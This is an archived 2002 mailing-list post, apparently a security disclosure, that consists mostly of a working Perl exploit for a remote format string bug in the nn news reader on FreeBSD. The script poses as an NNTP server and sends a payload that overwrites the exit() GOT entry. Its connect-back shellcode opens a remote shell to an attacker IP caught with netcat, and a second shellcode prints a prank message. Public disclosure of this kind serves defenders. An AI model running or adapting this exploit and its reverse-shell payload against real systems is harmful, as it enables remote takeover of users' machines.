nn format string exploit

From: zillion (zillionat_private)
Date: Thu Jul 04 2002 - 12:08:09 PDT

  • Next message: Michal Zalewski: "Re: Ports 0-1023?"

    nn PoC exploit for the format string:
    http://www.safemode.org/files/zillion/advisories/safemode-adv-nn.txt
    
    Cheers,
    
    zillion
    
    
    #!/usr/bin/perl
    #
    # Remote FreeBSD NN exploit by zillion[at]safemode.org
    #
    # Tested with the 6.3.2 FreeBSD port
    #
    # The nn news reader contains a remote format string bug which
    # allows us to own the nn process and execute code with the
    # privileges of this process.
    #
    # The problem exploited resides in the nn_exitmsg() function that is
    # responsible for printing error messages to the terminal:
    #
    # void nn_exitmsg(int n, char *fmt,...)
    # {
    #     va_list     ap;
    #     va_start(ap, fmt);
    #     vprintf(fmt, ap);
    #     putchar(NL);
    #     va_end(ap);
    #
    #     nn_exit(n);
    #     /*NOTREACHED*/
    # }
    #
    # A server respons such as:
    #
    # 100 AAAABBBB%10\$x%11\$x
    #
    # Results in the client printing:
    #
    # 100 AAAABBBB4141414142424242
    #
    # I included two shellcodes to demonstrate the danger of this
    # vulnerability. One is pretty harmless on prints the following
    # message 222 times on the victims term:
    #
    # "Wha ! wha whaaaa!!!"
    #
    # The other shell code opens a TCP connection and spawns a shell.
    # You can catch it with netcat: nc -l -p 43690 (0xaaaa). Note that
    # the IP address to which this shell is connecting is defined in $b.
    # I'm pretty sure you will have to change it, this might help:
    #
    # perl -e 'printf "0x" . "%02x"x4 ."\n",11,6,12,33'
    #
    
    use IO::Socket;
    
    while($_ = $ARGV[0], /^-/) {
        shift;
        last if /^--$/;
        /^-c/ && do { $shell = 1; };
        /^-m/ && do { $shell = 2; };
    }
    
    #######################################################################
    # Connecting back shellcode.  Change the ip in $b to you own and listen
    # with netcat on port 43690 (nc -l -p 43690)
    
    $a =    "\xeb\x52\x5e\x31\xc0\x88\x46\x07\x6a\x06\x6a\x01\x6a\x02\xb0".
            "\x61\x50\xcd\x80\x89\xc2\x31\xc0\xc6\x46\x08\x02\x66\xc7\x46".
            "\x09\xaa\xaa\xc7\x46\x0b";
    $b =    "\x0b\x06\x0c\x21";
    $c =    "\x6a\x10\x8d\x46\x07\x50\x52\x31\xc0\xb0\x62\x50\xcd\x80\xb1".
            "\x03\xbb\xff\xff\xff\xff\x43\x53\x52\xb0\x5a\x50\xcd\x80\x80".
            "\xe9\x01\x75\xf3\x31\xc0\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8".
            "\xa9\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23";
    
    #######################################################################
    # Write()'s "Wha ! wha whaaaa!!!" to stdout and does an exit()
    
    $d =    "\xeb\x29\x5e\x31\xc0\x31\xdb\xb3\x3c\x80\xeb\x32\x88\x1e\x88".
            "\x5e\x14\x31\xc9\xb1\xde\x6a\x15\x56\x6a\x01\xb0\x04\x50\xcd".
            "\x80\xfe\xc9\x75\xf2\x31\xc0\x50\xb0\x01\x50\xcd\x80\xe8\xd2".
            "\xff\xff\xff\x23\x57\x68\x61\x20\x21\x20\x77\x68\x61\x20\x77".
            "\x68\x61\x61\x61\x61\x21\x21\x21\x23";
    
    #######################################################################
    # You can easily use other shellcode, such as the one that abuses the
    # sendmail locking problem...
    
    if($shell == 1) {
    
       $shellcode = "$a$b$c";
    
    } elsif($shell == 2) {
    
       $shellcode = $d;
    
    } else {
    
       &usage();
    
    }
    
    #######################################################################
    # Create the buffer with nops and shellcode and the format string to
    # overwrite the exit() GOT section.
    
    $e =
    "\x92\x25\x08\x08\x90\x25\x08\x08\%.48777u\%85\$hn\\%.14233u\%86\$hn";
    
    # If the connecting nn client is executed without any arguments then this
    # probably will work fine. However, if the client is executed with args
    # then lower 14233 a bit. For example replace it with 14200 or 14210
    
    $size = 300;
    
    for ($i = 0; $i < ($size - length($shellcode)); $i++) {
        $buffer .= "\x90";
    }
    
    $buffer .= $shellcode;
    
    my $sock = new IO::Socket::INET (
                                  LocalPort => 119,
                                  Proto => 'tcp',
                                  Listen => 1,
                                  Reuse => 1,
                                    ) || die("Cannot bind to port 119!\n");
    
    #######################################################################
    # We are ready ...
    
    while($cl = $sock->accept()) {
    
    print "Accepted connection!\n";
    sleep 1;
    print $cl "100 $buffer$e\n";
    sleep 2;
    
    }
    
    sub usage() {
    
    print <<TWENTE;
    ------------------------------------------
    ***    Remote NN exploit by zillion    ***
    
    Connect: $0 -c
    Message: $0 -m
    
      Read this file for more information
    ------------------------------------------
    TWENTE
    exit;
    
    }
    



    This archive was generated by hypermail 2b30 : Thu Jul 04 2002 - 12:47:04 PDT